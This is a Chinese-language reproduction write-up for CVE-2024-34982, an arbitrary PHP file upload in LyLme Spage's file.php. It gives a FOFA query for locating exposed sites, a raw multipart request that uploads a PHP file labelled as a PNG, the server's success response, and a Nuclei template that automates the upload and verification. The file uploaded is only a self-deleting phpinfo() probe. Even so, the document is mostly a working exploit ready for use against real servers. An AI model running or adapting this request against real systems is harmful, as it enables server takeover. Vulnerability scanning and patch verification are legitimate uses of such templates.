CVE-2024-34982漏洞复现

title=="上网导航 - LyLme Spage"

POST /include/file.php HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Connection: closeContent-Length: 232Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0fX-Requested-With: XMLHttpRequest-----------------------------qttl7vemrsold314zg0fContent-Disposition: form-data; name="file"; filename="test.php"Content-Type: image/png<?php phpinfo();unlink(__FILE__);?>-----------------------------qttl7vemrsold314zg0f--

HTTP/1.1 200 OKConnection: closeTransfer-Encoding: chunkedContent-Encoding: gzipContent-Type: application/jsonDate: Mon, 20 May 2024 02:39:57 GMTServer: nginxVary: Accept-Encoding{"code": "200","msg":"上传成功","url":"/files/upload/img_664ab7fd14d2c.php"}

id: CVE-2024-34982info:  name: 六零导航页 file.php 任意文件上传漏洞  author: fgz  severity: critical  description: '六零导航页 (LyLme Spage) 致力于简洁高效无广告的上网导航和搜索入口，支持后台添加链接、自定义搜索引擎，沉淀最具价值链接，全站无商业推广，简约而不简单。该系统file.php接口处存在任意文件上传漏洞，可能导致服务器失陷。'  tags: 2024,uploadfile  metadata:    max-request: 1    fofa-query: title=="上网导航 - LyLme Spage"    verified: truevariables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |-        POST /include/file.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        X-Requested-With: XMLHttpRequest        Accept: application/json, text/javascript, */*; q=0.01        Content-Type: multipart/form-data; boundary=---------------------------{{boundary}}        Accept-Encoding: gzip, deflate, br        -----------------------------{{boundary}}        Content-Disposition: form-data; name="file"; filename="test.php"        Content-Type: image/png        <?php phpinfo();unlink(__FILE__);?>        -----------------------------{{boundary}}--      - |        GET {{name}} HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15    extractors:      - type: json        part: body        name: name        json:          - '.url'        internal: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, 'PHP Version')"